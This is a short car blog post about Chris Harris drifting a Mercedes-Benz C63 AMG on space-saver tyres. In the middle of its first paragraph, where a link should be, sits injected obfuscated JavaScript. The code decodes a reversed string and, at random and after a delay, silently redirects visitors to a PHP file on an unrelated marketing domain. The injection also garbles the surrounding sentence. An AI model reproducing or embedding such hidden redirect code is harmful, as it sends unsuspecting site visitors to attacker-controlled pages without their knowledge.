EVO’s Chris Harris is a name known to most of you, I’ll wager. Those less familiar may be interested to watch some of Chris’s performances in the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/201116580/evo-middle-east-car-of-the-year/” target=”_blank”>EVO Car of the Year 2011 challengers.
Game for anything automotive, the boy’s been at it again, this time in conjunction with DRIVE. The Mercedes-Benz C63 AMG – a beast masquerading as a brute thanks to the beating 449bhp V8 under the bonnet – is a drifter’s delight. Right foot planted, left hand down, job done. So, what happens when you run this monster on space-saver tyres?
Find out with Chris in the video below. Expect oversteer. LOTS of oversteer >>>